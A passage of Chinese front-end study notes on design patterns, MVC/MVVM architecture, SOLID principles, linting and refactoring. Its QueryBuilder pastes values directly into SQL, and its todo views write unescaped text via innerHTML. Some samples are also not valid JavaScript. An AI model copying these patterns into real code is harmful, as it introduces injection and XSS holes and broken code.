  boilWater() { console.log('烧开水'); }
  pourInCup() { console.log('倒入杯中'); }
  
  brew() { throw new Error('子类必须实现'); }
  addCondiments() { throw new Error('子类必须实现'); }
}

class Coffee extends Beverage {
  brew() { console.log('冲泡咖啡'); }
  addCondiments() { console.log('加糖和牛奶'); }
}

class Tea extends Beverage {
  brew() { console.log('冲泡茶叶'); }
  addCondiments() { console.log('加柠檬'); }
}

// 使用
const coffee = new Coffee();
coffee.prepare();
// 烧开水
// 冲泡咖啡
// 倒入杯中
// 加糖和牛奶

// 前端应用:页面初始化流程
class PageInitializer {
  init() {
    this.loadConfig();
    this.initComponents();
    this.bindEvents();
    this.render();
  }
  
  loadConfig() { console.log('加载配置'); }
  initComponents() { console.log('初始化组件'); }
  bindEvents() { console.log('绑定事件'); }
  render() { console.log('渲染页面'); }
}

19. 责任链模式

定义

责任链模式(Chain of Responsibility Pattern)使多个对象都有机会处理请求,从而避免请求的发送者和接收者之间的耦合关系。

代码实现

class Handler {
  constructor() {
    this.nextHandler = null;
  }
  
  setNext(handler) {
    this.nextHandler = handler;
    return handler;
  }
  
  handle(request) {
    if (this.nextHandler) {
      return this.nextHandler.handle(request);
    }
    return null;
  }
}

class AuthHandler extends Handler {
  handle(request) {
    if (!request.token) {
      return { success: false, message: '未认证' };
    }
    console.log('认证通过');
    return super.handle(request);
  }
}

class PermissionHandler extends Handler {
  handle(request) {
    if (!request.permissions.includes('admin')) {
      return { success: false, message: '权限不足' };
    }
    console.log('权限通过');
    return super.handle(request);
  }
}

class LogHandler extends Handler {
  handle(request) {
    console.log('记录日志:', request);
    return super.handle(request);
  }
}

class BusinessHandler extends Handler {
  handle(request) {
    console.log('处理业务逻辑');
    return { success: true, data: '业务数据' };
  }
}

// 使用
const auth = new AuthHandler();
const permission = new PermissionHandler();
const log = new LogHandler();
const business = new BusinessHandler();

auth.setNext(permission).setNext(log).setNext(business);

const result = auth.handle({
  token: 'valid-token',
  permissions: ['admin', 'user']
});
// 认证通过
// 权限通过
// 记录日志: { token: 'valid-token', permissions: [ 'admin', 'user' ] }
// 处理业务逻辑
// { success: true, data: '业务数据' }

// Koa 中间件示例
function compose(middlewares) {
  return function(ctx) {
    function dispatch(index) {
      if (index >= middlewares.length) return Promise.resolve();
      const middleware = middlewares[index];
      return Promise.resolve(middleware(ctx, () => dispatch(index + 1)));
    }
    return dispatch(0);
  };
}

20. 享元模式

定义

享元模式(Flyweight Pattern)运用共享技术有效地支持大量细粒度的对象。

代码实现

class FlyweightFactory {
  constructor() {
    this.flyweights = {};
  }
  
  get(key) {
    if (!this.flyweights[key]) {
      this.flyweights[key] = this.createFlyweight(key);
    }
    return this.flyweights[key];
  }
  
  createFlyweight(key) {
    return { type: key, shared: true };
  }
  
  getCount() {
    return Object.keys(this.flyweights).length;
  }
}

// 实际应用:DOM 对象池
class DOMPool {
  constructor() {
    this.pools = {};
  }
  
  getElement(tagName) {
    if (!this.pools[tagName]) {
      this.pools[tagName] = [];
    }
    const element = this.pools[tagName].pop();
    return element || document.createElement(tagName);
  }
  
  releaseElement(element) {
    const tagName = element.tagName.toLowerCase();
    if (!this.pools[tagName]) {
      this.pools[tagName] = [];
    }
    element.innerHTML = '';
    element.className = '';
    this.pools[tagName].push(element);
  }
}

// 实际应用:图标缓存
const iconCache = {};
function getIcon(name) {
  if (!iconCache[name]) {
    iconCache[name] = `<svg class="icon icon-${name}">...</svg>`;
  }
  return iconCache[name];
}

21. 建造者模式

定义

建造者模式(Builder Pattern)将一个复杂对象的构建与它的表示分离,使得同样的构建过程可以创建不同的表示。

代码实现

class Form {
  constructor() {
    this.fields = [];
    this.title = '';
    this.action = '';
    this.method = 'POST';
  }
  
  setTitle(title) { this.title = title; return this; }
  setAction(action) { this.action = action; return this; }
  setMethod(method) { this.method = method; return this; }
  addField(field) { this.fields.push(field); return this; }
  
  build() {
    return {
      title: this.title,
      action: this.action,
      method: this.method,
      fields: this.fields
    };
  }
}

// 使用
const loginForm = new Form()
  .setTitle('登录')
  .setAction('/api/login')
  .setMethod('POST')
  .addField({ name: 'username', type: 'text', required: true })
  .addField({ name: 'password', type: 'password', required: true })
  .build();

console.log(loginForm);
// {
//   title: '登录',
//   action: '/api/login',
//   method: 'POST',
//   fields: [
//     { name: 'username', type: 'text', required: true },
//     { name: 'password', type: 'password', required: true }
//   ]
// }

// 链式调用构建查询参数
class QueryBuilder {
  constructor(table) {
    this.table = table;
    this.conditions = [];
    this._orderBy = '';
    this._limit = 0;
  }
  
  where(field, operator, value) {
    this.conditions.push(`${field} ${operator} '${value}'`);
    return this;
  }
  
  orderBy(field, direction = 'ASC') {
    this._orderBy = `ORDER BY ${field} ${direction}`;
    return this;
  }
  
  limit(n) {
    this._limit = `LIMIT ${n}`;
    return this;
  }
  
  build() {
    let sql = `SELECT * FROM ${this.table}`;
    if (this.conditions.length) {
      sql += ` WHERE ${this.conditions.join(' AND ')}`;
    }
    if (this._orderBy) sql += ` ${this._orderBy}`;
    if (this._limit) sql += ` ${this._limit}`;
    return sql;
  }
}

const query = new QueryBuilder('users')
  .where('age', '>', 18)
  .where('status', '=', 'active')
  .orderBy('created_at', 'DESC')
  .limit(10)
  .build();

console.log(query);
// SELECT * FROM users WHERE age > '18' AND status = 'active' ORDER BY created_at DESC LIMIT 10

22. 原型模式

定义

原型模式(Prototype Pattern)用原型实例指定创建对象的种类,并且通过拷贝这些原型创建新的对象。

代码实现

class Prototype {
  constructor() {
    this.objects = {};
  }
  
  register(name, obj) {
    this.objects[name] = obj;
  }
  
  clone(name) {
    if (!this.objects[name]) {
      throw new Error(`未找到原型对象: ${name}`);
    }
    return JSON.parse(JSON.stringify(this.objects[name]));
  }
}

// 使用
const proto = new Prototype();
proto.register('user', {
  name: '匿名用户',
  age: 0,
  role: 'user',
  permissions: []
});

const user1 = proto.clone('user');
user1.name = '张三';
user1.age = 25;

const user2 = proto.clone('user');
user2.name = '李四';
user2.age = 30;

console.log(user1.name); // 张三
console.log(user2.name); // 李四

// Object.create 原型模式
const shape = {
  type: 'shape',
  color: 'red',
  draw() { console.log(`画一个${this.color}${this.type}`); }
};

const circle = Object.create(shape);
circle.type = '圆形';
circle.color = '蓝色';
circle.draw(); // 画一个蓝色的圆形

23. 组合模式

定义

组合模式(Composite Pattern)将对象组合成树形结构以表示"部分-整体"的层次结构。

代码实现

class Component {
  constructor(name) {
    this.name = name;
    this.children = [];
  }
  
  add(component) {
    this.children.push(component);
    return this;
  }
  
  remove(component) {
    this.children = this.children.filter(c => c !== component);
  }
  
  operation(indent = 0) {
    const prefix = '  '.repeat(indent);
    console.log(`${prefix}${this.name}`);
    this.children.forEach(child => child.operation(indent + 1));
  }
}

// 使用:文件系统
const root = new Component('根目录');
const documents = new Component('文档');
const pictures = new Component('图片');
const report = new Component('报告.doc');
const photo = new Component('photo.jpg');

root.add(documents).add(pictures);
documents.add(report);
pictures.add(photo);

root.operation();
// 根目录
//   文档
//     报告.doc
//   图片
//     photo.jpg

// 使用:菜单组件
const menu = new Component('菜单');
const fileMenu = new Component('文件');
const editMenu = new Component('编辑');
const newFile = new Component('新建');
const openFile = new Component('打开');

menu.add(fileMenu).add(editMenu);
fileMenu.add(newFile).add(openFile);

menu.operation();

24. 桥接模式

定义

桥接模式(Bridge Pattern)将抽象部分与实现部分分离,使它们都可以独立地变化。

代码实现

// 实现部分
class Renderer {
  renderCircle(radius) { throw new Error('抽象方法'); }
}

class CanvasRenderer extends Renderer {
  renderCircle(radius) {
    return `Canvas 绘制半径为${radius}的圆`;
  }
}

class SVGRenderer extends Renderer {
  renderCircle(radius) {
    return `SVG 绘制半径为${radius}的圆`;
  }
}

// 抽象部分
class Shape {
  constructor(renderer) {
    this.renderer = renderer;
  }
  draw() { throw new Error('抽象方法'); }
}

class Circle extends Shape {
  constructor(renderer, radius) {
    super(renderer);
    this.radius = radius;
  }
  draw() {
    console.log(this.renderer.renderCircle(this.radius));
  }
}

// 使用
const canvasCircle = new Circle(new CanvasRenderer(), 10);
const svgCircle = new Circle(new SVGRenderer(), 20);

canvasCircle.draw(); // Canvas 绘制半径为10的圆
svgCircle.draw();     // SVG 绘制半径为20的圆

二、前端架构设计

25. 前端架构 / 前端架构设计

定义

前端架构是对前端应用的整体结构设计,包括代码组织、模块划分、技术选型、数据流管理等方面。

架构演进

阶段 特点 代表技术
传统多页应用 服务端渲染、页面刷新 JSP/PHP/ASP
AJAX 时代 局部刷新、前后端分离雏形 jQuery + AJAX
单页应用(SPA) 前端路由、组件化 Angular/React/Vue
组件化时代 细粒度组件、状态管理 React/Vue + Redux/Vuex
微前端 多团队协作、独立部署 qiankun/Micro App

架构设计原则

  1. 单一职责:每个模块/组件只负责一个功能
  2. 高内聚低耦合:相关功能集中,不相关功能隔离
  3. 可复用性:组件/工具可在多处使用
  4. 可扩展性:新增功能不影响现有架构
  5. 可维护性:代码结构清晰、易于理解和修改

典型前端项目架构

src/
├── api/              # API 请求层
│   ├── modules/      # 按业务模块划分
│   └── index.js      # axios 实例配置
├── assets/           # 静态资源
├── components/       # 公共组件
│   ├── common/       # 通用组件
│   └── business/     # 业务组件
├── hooks/            # 自定义 Hooks
├── layouts/          # 布局组件
├── pages/            # 页面组件
│   ├── Home/
│   └── Login/
├── router/           # 路由配置
├── store/            # 状态管理
│   ├── modules/      # 按模块划分
│   └── index.js
├── styles/           # 全局样式
│   ├── variables/    # 变量
│   └── mixins/       # 混合
├── utils/            # 工具函数
├── types/            # TypeScript 类型
└── main.js           # 入口文件

26. 如何对前端项目进行代码的组织与架构设计?

问题拆解

维度 考虑因素 方案
代码组织 项目规模、团队人数、技术栈 按功能/按类型分层
状态管理 数据复杂度、组件层级 局部状态 / Vuex / Redux / 原子化
路由设计 页面数量、嵌套层级、权限控制 按路由分模块
API 管理 接口数量、复用程度 按业务模块划分
组件设计 复用性、独立性 公共组件 / 业务组件分离

按功能分模块(推荐)

src/
├── modules/
│   ├── auth/           # 认证模块
│   │   ├── components/
│   │   ├── pages/
│   │   ├── store/
│   │   ├── api/
│   │   └── routes.js
│   ├── user/           # 用户模块
│   │   ├── components/
│   │   ├── pages/
│   │   ├── store/
│   │   ├── api/
│   │   └── routes.js
│   └── order/          # 订单模块
│       ├── components/
│       ├── pages/
│       ├── store/
│       ├── api/
│       └── routes.js
├── shared/             # 共享资源
│   ├── components/
│   ├── hooks/
│   ├── utils/
│   └── styles/
└── app.js

技术选型建议

  1. 小型项目:Vue/React + 组件库 + 简单状态
  2. 中大型项目:Vue/React + Vuex/Redux + TypeScript
  3. 微前端:qiankun + 独立子应用
  4. SSR:Nuxt.js / Next.js

27. MVC 架构

定义

MVC(Model-View-Controller)将应用分为三个部分:

  • Model(模型):数据和业务逻辑
  • View(视图):用户界面
  • Controller(控制器):处理用户输入,更新 Model 和 View

原理

用户操作 View → Controller 接收输入 → 更新 Model → Model 通知 View 更新

代码示例

// Model
class TodoModel {
  constructor() {
    this.todos = [];
    this.listeners = [];
  }
  
  addTodo(text) {
    this.todos.push({ text, done: false });
    this.notify();
  }
  
  subscribe(listener) {
    this.listeners.push(listener);
  }
  
  notify() {
    this.listeners.forEach(l => l(this.todos));
  }
}

// View
class TodoView {
  render(todos) {
    const html = todos.map(t => 
      `<li>${t.done ? '✅' : '⬜'} ${t.text}</li>`
    ).join('');
    document.getElementById('todo-list').innerHTML = html;
  }
}

// Controller
class TodoController {
  constructor(model, view) {
    this.model = model;
    this.view = view;
    this.model.subscribe(todos => this.view.render(todos));
  }
  
  addTodo(text) {
    this.model.addTodo(text);
  }
}

// 使用
const model = new TodoModel();
const view = new TodoView();
const controller = new TodoController(model, view);
controller.addTodo('学习 MVC');
controller.addTodo('学习设计模式');

28. MVP 架构

定义

MVP(Model-View-Presenter)中 Presenter 充当 View 和 Model 的中间人,View 不直接与 Model 通信。

与 MVC 的区别

  • MVC 中 View 可以直接观察 Model
  • MVP 中 View 和 Model 完全隔离,通过 Presenter 交互
  • Presenter 持有 View 的引用,主动更新 View

代码示例

// View(被动)
class TodoView {
  constructor(presenter) {
    this.presenter = presenter;
    this.bindEvents();
  }
  
  bindEvents() {
    document.getElementById('add-btn').addEventListener('click', () => {
      const text = document.getElementById('input').value;
      this.presenter.addTodo(text);
    });
  }
  
  render(todos) {
    document.getElementById('todo-list').innerHTML = todos
      .map(t => `<li>${t.text}</li>`)
      .join('');
  }
}

// Presenter
class TodoPresenter {
  constructor(model, view) {
    this.model = model;
    this.view = view;
    this.model.subscribe(todos => this.view.render(todos));
  }
  
  addTodo(text) {
    this.model.addTodo(text);
  }
}

29. MVVM 架构

定义

MVVM(Model-View-ViewModel)通过 ViewModel 实现 Model 和 View 的双向数据绑定,View 的变化自动反映到 Model,反之亦然。

原理

  • 双向数据绑定:View ↔ ViewModel ↔ Model
  • 数据驱动:无需手动操作 DOM,数据变化自动更新视图

MVVM 实现

// 简易 MVVM 实现
class MVVM {
  constructor(options) {
    this.$el = document.querySelector(options.el);
    this.$data = options.data;
    this.init();
  }
  
  init() {
    this.observe(this.$data);
    this.compile(this.$el);
  }
  
  // 数据劫持
  observe(data) {
    Object.keys(data).forEach(key => {
      this.defineReactive(data, key, data[key]);
    });
  }
  
  defineReactive(obj, key, value) {
    const dep = [];
    Object.defineProperty(obj, key, {
      get() {
        if (MVVM.target && !dep.includes(MVVM.target)) {
          dep.push(MVVM.target);
        }
        return value;
      },
      set(newVal) {
        if (newVal !== value) {
          value = newVal;
          dep.forEach(watcher => watcher());
        }
      }
    });
  }
  
  // 编译模板
  compile(el) {
    const nodes = el.childNodes;
    nodes.forEach(node => {
      if (node.nodeType === 1) { // 元素节点
        const text = node.textContent;
        const matches = text.match(/\{\{(.+?)\}\}/);
        if (matches) {
          const key = matches[1].trim();
          new Watcher(this, node, key);
        }
        this.compile(node);
      }
    });
  }
}

class Watcher {
  constructor(vm, node, key) {
    this.vm = vm;
    this.node = node;
    this.key = key;
    this.update();
  }
  
  update() {
    MVVM.target = this.update.bind(this);
    this.node.textContent = this.vm.$data[this.key];
    MVVM.target = null;
  }
}

// 使用
const vm = new MVVM({
  el: '#app',
  data: { message: 'Hello MVVM!' }
});

30. MVC 与 MVVM 的区别

维度 MVC MVVM
数据绑定 单向/手动 双向/自动
View 与 Model 可通过 Controller 间接交互 完全隔离,通过 ViewModel 绑定
DOM 操作 需要手动操作 框架自动处理
适用框架 Backbone.js、Ruby on Rails Vue.js、Angular、WPF
开发效率 较低,需手动同步 较高,数据驱动

选择策略

  • 简单项目/服务端渲染 → MVC
  • 富交互/数据驱动应用 → MVVM

31. 前端分层架构

分层设计

层次 职责 示例
展示层(View) UI 渲染、用户交互 React/Vue 组件
业务逻辑层(Service) 业务规则、数据处理 服务类、工具函数
数据访问层(API/Repository) 数据请求、数据转换 Axios 封装、API 模块
状态管理层(Store) 全局状态管理 Vuex/Redux

代码组织

src/
├── views/          # 展示层:页面组件
├── components/     # 展示层:可复用组件
├── services/       # 业务逻辑层
├── repositories/   # 数据访问层
├── stores/         # 状态管理层
└── utils/          # 工具层

优点

  • 关注点分离:各层职责明确
  • 可测试性:每层可独立测试
  • 可替换性:替换某层不影响其他层

32. 前端模块化

定义

将代码拆分为独立的模块,每个模块封装特定的功能。

模块化规范演进

规范 环境 特点
IIFE 浏览器早期 立即执行函数,避免全局污染
AMD 浏览器 require.js,异步加载
CommonJS Node.js require/module.exports,同步加载
ES Modules 现代浏览器 import/export,静态分析

代码示例

// ES Modules
// math.js
export const PI = 3.14159;
export function add(a, b) { return a + b; }
export default class Calculator {}

// main.js
import Calculator, { PI, add } from './math.js';

// CommonJS
// math.js
module.exports = { PI: 3.14159, add: (a, b) => a + b };

// main.js
const { PI, add } = require('./math');

33. 前端组件化 / 组件化开发

定义

组件化是将 UI 拆分为独立、可复用的单元,每个组件包含自己的模板、样式和逻辑。

组件设计原则

原则 说明 示例
单一职责 一个组件只做一件事 Button 只负责按钮点击
高内聚 相关功能集中 表单组件包含验证逻辑
低耦合 组件间依赖最小化 通过 Props 传递数据
可复用 可在多处使用 通用 Input 组件
可组合 组件可以嵌套组合 Form > Input + Button

Vue 组件示例

<template>
  <button 
    :class="['btn', `btn-${type}`, { 'btn-disabled': disabled }]"
    :disabled="disabled"
    @click="handleClick"
  >
    <slot></slot>
  </button>
</template>

<script>
export default {
  name: 'BaseButton',
  props: {
    type: { type: String, default: 'default' },
    disabled: { type: Boolean, default: false }
  },
  emits: ['click'],
  methods: {
    handleClick(e) {
      if (!this.disabled) {
        this.$emit('click', e);
      }
    }
  }
}
</script>

三、组件设计原则

34. 组件设计原则概述

组件设计遵循 SOLID 原则和迪米特法则,这些原则不仅适用于面向对象编程,也适用于前端组件设计。


35. 单一职责原则(SRP)

定义

一个组件/模块只负责一项职责,只有一种引起它变化的原因。

原理

职责过多会导致组件臃肿、难以维护和测试。拆分职责后每个组件更专注、更易于复用。

示例

// 违反 SRP:一个组件做太多事
class UserComponent {
  loadUserData() { /* 加载数据 */ }
  renderUser() { /* 渲染用户信息 */ }
  validateForm() { /* 验证表单 */ }
  submitForm() { /* 提交表单 */ }
  sendEmail() { /* 发送邮件 */ }
}

// 符合 SRP:拆分为多个组件
class UserLoader { loadUserData() { /* 加载数据 */ } }
class UserView { renderUser() { /* 渲染用户信息 */ } }
class FormValidator { validateForm() { /* 验证表单 */ } }
class FormSubmitter { submitForm() { /* 提交表单 */ } }
class EmailService { sendEmail() { /* 发送邮件 */ } }

常见误区

  • 过度拆分导致碎片化
  • 职责边界模糊

36. 开闭原则(OCP)

定义

对扩展开放,对修改关闭。软件实体应该可以扩展,但不应该被修改。

示例

// 违反 OCP:新增类型需要修改源码
function getDiscount(type, price) {
  if (type === 'vip') return price * 0.9;
  if (type === 'svip') return price * 0.8;
  if (type === 'vvip') return price * 0.7; // 每次新增都要修改
  return price;
}

// 符合 OCP:使用策略模式扩展
const discounts = {
  vip: (price) => price * 0.9,
  svip: (price) => price * 0.8,
};

function getDiscount(type, price) {
  const strategy = discounts[type];
  return strategy ? strategy(price) : price;
}

// 扩展无需修改原代码
discounts.vvip = (price) => price * 0.7;

37. 里氏替换原则(LSP)

定义

子类对象能够替换其父类对象,且程序逻辑不变。

示例

// 违反 LSP:子类改变了父类行为
class Bird {
  fly() { console.log('飞'); }
}

class Penguin extends Bird {
  fly() { throw new Error('企鹅不会飞'); } // 改变了父类行为
}

// 符合 LSP
class Bird {
  move() { console.log('移动'); }
}

class Sparrow extends Bird {
  move() { this.fly(); }
  fly() { console.log('飞'); }
}

class Penguin extends Bird {
  move() { this.swim(); }
  swim() { console.log('游泳'); }
}

38. 接口隔离原则(ISP)

定义

客户端不应依赖它不需要的接口。应该将大接口拆分为小接口。

示例

// 违反 ISP:一个大接口
class Worker {
  work() {}
  eat() {}
  sleep() {}
}

class Robot implements Worker {
  work() { /* 工作 */ }
  eat() { throw new Error('机器人不需要吃饭'); }
  sleep() { throw new Error('机器人不需要睡觉'); }
}

// 符合 ISP:拆分接口
class Workable { work() {} }
class Eatable { eat() {} }
class Sleepable { sleep() {} }

class Robot implements Workable {
  work() { /* 工作 */ }
}

class Human implements Workable, Eatable, Sleepable {
  work() { /* 工作 */ }
  eat() { /* 吃饭 */ }
  sleep() { /* 睡觉 */ }
}

39. 依赖倒置原则(DIP)

定义

高层模块不应依赖低层模块,二者都应依赖抽象。抽象不应依赖细节,细节应依赖抽象。

示例

// 违反 DIP:高层直接依赖低层
class OrderService {
  constructor() {
    this.db = new MySQLDatabase(); // 直接依赖具体实现
  }
  
  saveOrder(order) {
    this.db.connect();
    this.db.save(order);
  }
}

// 符合 DIP:依赖抽象
class OrderService {
  constructor(database) {
    this.db = database; // 依赖抽象接口
  }
  
  saveOrder(order) {
    this.db.connect();
    this.db.save(order);
  }
}

// 使用时注入具体实现
const mysqlService = new OrderService(new MySQLDatabase());
const mongoService = new OrderService(new MongoDBDatabase());

40. 迪米特法则(LOD)

定义

一个对象应该对其他对象有最少的了解,只与直接朋友通信。

示例

// 违反 LOD:了解太多内部结构
class Company {
  getDepartments() { return [...]; }
}

class Department {
  getEmployees() { return [...]; }
}

// 不好:需要了解公司内部结构
function getEmployeeCount(company) {
  let count = 0;
  company.getDepartments().forEach(dept => {
    count += dept.getEmployees().length;
  });
  return count;
}

// 符合 LOD:封装内部结构
class Company {
  getEmployeeCount() {
    // 内部逻辑对外隐藏
    return this.departments.reduce((sum, dept) => 
      sum + dept.employees.length, 0
    );
  }
}

41. 组件复用性

设计原则

维度 建议
Props 设计 类型明确、有默认值、校验
插槽设计 使用 slot 提供扩展点
样式隔离 使用 BEM/CSS Modules/Scoped
事件设计 使用 emits 声明事件
文档完善 提供使用示例和 Props 说明

高复用组件示例

<!-- 通用表格组件 -->
<template>
  <table class="data-table">
    <thead>
      <tr>
        <th v-for="col in columns" :key="col.key">{{ col.title }}</th>
      </tr>
    </thead>
    <tbody>
      <tr v-for="row in data" :key="row.id">
        <td v-for="col in columns" :key="col.key">
          <slot :name="col.key" :row="row" :value="row[col.key]">
            {{ row[col.key] }}
          </slot>
        </td>
      </tr>
    </tbody>
  </table>
</template>

<script>
export default {
  props: {
    columns: {
      type: Array,
      required: true,
      validator: cols => cols.every(c => c.key && c.title)
    },
    data: { type: Array, default: () => [] },
    loading: { type: Boolean, default: false }
  }
}
</script>

42. 组件扩展性

扩展方式

方式 说明 适用场景
Props 传入配置控制行为 控制组件展示
Slots 提供内容插槽 自定义组件内容
Events 暴露事件供外部监听 响应组件交互
Ref 暴露内部方法 需要程序化控制
继承/组合 包装或扩展组件 构建变体组件

代码示例

<!-- 可扩展的卡片组件 -->
<template>
  <div :class="['card', `card-${size}`, { 'card-bordered': bordered }]">
    <!-- 头部扩展 -->
    <div v-if="$slots.header || title" class="card-header">
      <slot name="header">
        <h3>{{ title }}</h3>
      </slot>
    </div>
    
    <!-- 内容区 -->
    <div class="card-body">
      <slot></slot>
    </div>
    
    <!-- 底部扩展 -->
    <div v-if="$slots.footer" class="card-footer">
      <slot name="footer"></slot>
    </div>
  </div>
</template>

<script>
export default {
  props: {
    title: String,
    size: { type: String, default: 'medium', validator: v => ['small', 'medium', 'large'].includes(v) },
    bordered: Boolean
  }
}
</script>

43. 组件可维护性

原则

维度 建议
命名规范 组件名 PascalCase,事件/方法 camelCase
代码结构 统一模板结构:props → data → computed → methods
注释规范 公共组件写 JSDoc,复杂逻辑加注释
类型检查 使用 TypeScript 或 PropTypes
单元测试 核心逻辑和公共组件编写测试
样式管理 使用预处理器、CSS Modules、设计变量

44. 如何设计一个高可复用的表单组件?

问题拆解

维度 需求
表单字段 支持多种类型:input、select、textarea、checkbox 等
表单验证 支持多种规则:必填、长度、正则、异步验证
表单布局 支持横向/纵向布局、栅格布局
表单提交 统一提交、防抖、加载状态
表单状态 脏数据、提交状态、错误状态

实现方案

<!-- 表单容器组件 -->
<template>
  <form @submit.prevent="handleSubmit">
    <div :class="['form', `form-${layout}`]">
      <slot :form="form"></slot>
    </div>
    <slot name="actions"></slot>
  </form>
</template>

<script>
export default {
  props: {
    model: { type: Object, required: true },
    rules: { type: Object, default: () => ({}) },
    layout: { type: String, default: 'vertical' }
  },
  data() {
    return {
      form: {
        values: { ...this.model },
        errors: {},
        touched: {},
        submitting: false
      }
    };
  },
  methods: {
    async validate(field) {
      const rule = this.rules[field];
      if (!rule) return true;
      
      const value = this.form.values[field];
      for (const validator of rule) {
        const error = await validator(value, this.form.values);
        if (error) {
          this.form.errors[field] = error;
          return false;
        }
      }
      delete this.form.errors[field];
      return true;
    },
    
    async handleSubmit() {
      const fields = Object.keys(this.rules);
      let valid = true;
      
      for (const field of fields) {
        if (!(await this.validate(field))) {
          valid = false;
        }
      }
      
      if (valid) {
        this.form.submitting = true;
        try {
          await this.$emit('submit', this.form.values);
        } finally {
          this.form.submitting = false;
        }
      }
    }
  }
}
</script>

<!-- 表单项组件 -->
<template>
  <div class="form-item" :class="{ 'form-item-error': form.errors[name] }">
    <label v-if="label">{{ label }}</label>
    <slot></slot>
    <span v-if="form.errors[name]" class="error-msg">{{ form.errors[name] }}</span>
  </div>
</template>

<!-- 使用 -->
<BaseForm :model="formData" :rules="rules" @submit="onSubmit">
  <template #default="{ form }">
    <FormItem label="用户名" name="username" :form="form">
      <input v-model="form.values.username" @blur="form.touched.username = true" />
    </FormItem>
    
    <FormItem label="邮箱" name="email" :form="form">
      <input v-model="form.values.email" @blur="form.validate('email')" />
    </FormItem>
  </template>
  
  <template #actions>
    <button type="submit" :disabled="form.submitting">提交</button>
  </template>
</BaseForm>

四、代码规范与最佳实践

45. 代码规范 / 编码规范

定义

代码规范是一组约定,用于统一团队的编码风格,提高代码可读性和可维护性。

规范内容

维度 规范内容
命名规范 变量/函数/组件/文件命名约定
格式规范 缩进、换行、空格、括号
注释规范 JSDoc、行注释、块注释
文件组织 导入顺序、模块导出
最佳实践 避免的写法、推荐的写法

46. 命名规范

// 变量/函数:camelCase
const userName = '张三';
function getUserInfo() {}

// 常量:UPPER_SNAKE_CASE
const MAX_RETRY_COUNT = 3;
const API_BASE_URL = '/api';

// 类/组件:PascalCase
class UserService {}
const UserProfile = () => <div>...</div>;

// 私有变量:_ 前缀
const _privateData = {};

// 布尔值:is/has/should 前缀
const isLoading = true;
const hasPermission = false;
const shouldUpdate = true;

// 事件处理:handle 前缀
function handleClick() {}
function handleSubmit() {}

// 回调函数:on 前缀
function onComplete() {}
function onError() {}

// 文件命名
// 组件:PascalCase.vue / .jsx
// 工具:camelCase.js
// 常量:UPPER_CASE.js

47. 注释规范

/**
 * 格式化日期
 * @param {Date|string|number} date - 日期对象或时间戳
 * @param {string} [format='YYYY-MM-DD'] - 格式化模板
 * @returns {string} 格式化后的日期字符串
 * @example
 * formatDate(new Date(), 'YYYY/MM/DD') // '2024/01/01'
 */
function formatDate(date, format = 'YYYY-MM-DD') {
  // 处理时间戳
  if (typeof date === 'number') {
    date = new Date(date);
  }
  
  // TODO: 支持更多格式化选项
  
  // HACK: 临时方案,需要后续优化
  return format.replace('YYYY', date.getFullYear());
}

// FIXME: 这里有性能问题,需要优化
// NOTE: 这个改动是因为需求变更
// WARN: 注意这个边界情况

48. ESLint

定义

ESLint 是一个可配置的 JavaScript 代码检查工具。

配置示例

// .eslintrc.js
module.exports = {
  root: true,
  env: { browser: true, es2021: true, node: true },
  extends: [
    'eslint:recommended',
    'plugin:vue/vue3-recommended',
    '@vue/typescript'
  ],
  parserOptions: {
    ecmaVersion: 'latest',
    parser: '@typescript-eslint/parser'
  },
  rules: {
    // 错误级别
    'no-console': process.env.NODE_ENV === 'production' ? 'error' : 'warn',
    'no-debugger': process.env.NODE_ENV === 'production' ? 'error' : 'off',
    
    // 风格规则
    'semi': ['error', 'always'],
    'quotes': ['error', 'single'],
    'indent': ['error', 2],
    
    // 最佳实践
    'eqeqeq': ['error', 'always'],
    'no-unused-vars': 'error',
    'prefer-const': 'error'
  }
};

49. Prettier

定义

Prettier 是一个代码格式化工具,自动统一代码风格。

配置示例

// .prettierrc
{
  "semi": true,
  "singleQuote": true,
  "tabWidth": 2,
  "trailingComma": "es5",
  "printWidth": 100,
  "arrowParens": "avoid",
  "bracketSpacing": true
}

ESLint + Prettier 集成

// package.json
{
  "scripts": {
    "lint": "eslint src --ext .js,.vue --fix",
    "format": "prettier --write src/**/*.{js,vue,css}"
  }
}

50. Git 提交规范

Conventional Commits 规范

<type>(<scope>): <subject>

<body>

<footer>

Type 类型

Type 说明
feat 新功能
fix Bug 修复
docs 文档变更
style 代码格式(不影响代码运行)
refactor 重构(既不是新功能也不是修复)
perf 性能优化
test 测试相关
chore 构建/工具变更
ci CI 配置变更

示例

feat(user): 添加用户登录功能

实现了基于 JWT 的用户登录验证
- 添加登录表单组件
- 添加登录 API 接口
- 添加 Token 存储逻辑

Closes #123

51. 代码审查(Code Review)

审查清单

维度 检查项
功能 是否满足需求、有无 Bug
设计 架构是否合理、是否过度设计
性能 有无性能问题、是否需要优化
安全 有无安全隐患(XSS、注入)
规范 是否遵循代码规范
测试 是否覆盖测试用例
文档 是否更新文档

52. 代码质量

衡量指标

指标 说明 工具
圈复杂度 代码路径复杂度 ESLint complexity
重复率 代码重复程度 SonarQube
测试覆盖率 测试覆盖的代码比例 Jest/Istanbul
技术债务 修复问题所需时间 SonarQube
代码异味 潜在问题代码 ESLint/SonarQube

五、重构技巧

53. 代码重构

定义

在不改变代码外部行为的前提下,改善代码的内部结构。

重构原则

  1. 红-绿-重构:先写测试(红)→ 实现功能(绿)→ 重构优化
  2. 小步重构:每次只做小改动,确保测试通过
  3. 频繁提交:每次重构后立即提交
  4. 保持测试通过:重构前后测试应全部通过

54. 重构技巧

技巧 说明 适用场景
提取函数 将代码块提取为独立函数 重复代码、过长函数
提取变量 将表达式结果赋给变量 复杂表达式、增加可读性
内联函数 将函数体替换为调用处 函数体过于简单
内联变量 直接使用表达式替代变量 临时变量
重命名 改进名称以增加可读性 命名不清晰
移动函数 将函数移到更合适的类/模块 函数归属不当
移动字段 将字段移到更合适的类 字段归属不当
封装字段 为字段提供 getter/setter 直接访问字段
封装集合 控制集合的访问和修改 暴露内部集合
引入断言 使用断言验证假设 调试、防御性编程

55. 提取函数

// 重构前
function printOwing(invoice) {
  let outstanding = 0;
  console.log('***********************');
  console.log('**** Customer Owes ****');
  console.log('***********************');
  
  // 计算明细
  for (const item of invoice.items) {
    outstanding += item.amount;
  }
  
  // 打印明细
  console.log(`name: ${invoice.customer}`);
  console.log(`amount: ${outstanding}`);
}

// 重构后:提取函数
function printOwing(invoice) {
  printBanner();
  const outstanding = calculateOutstanding(invoice);
  printDetails(invoice, outstanding);
}

function printBanner() {
  console.log('***********************');
  console.log('**** Customer Owes ****');
  console.log('***********************');
}

function calculateOutstanding(invoice) {
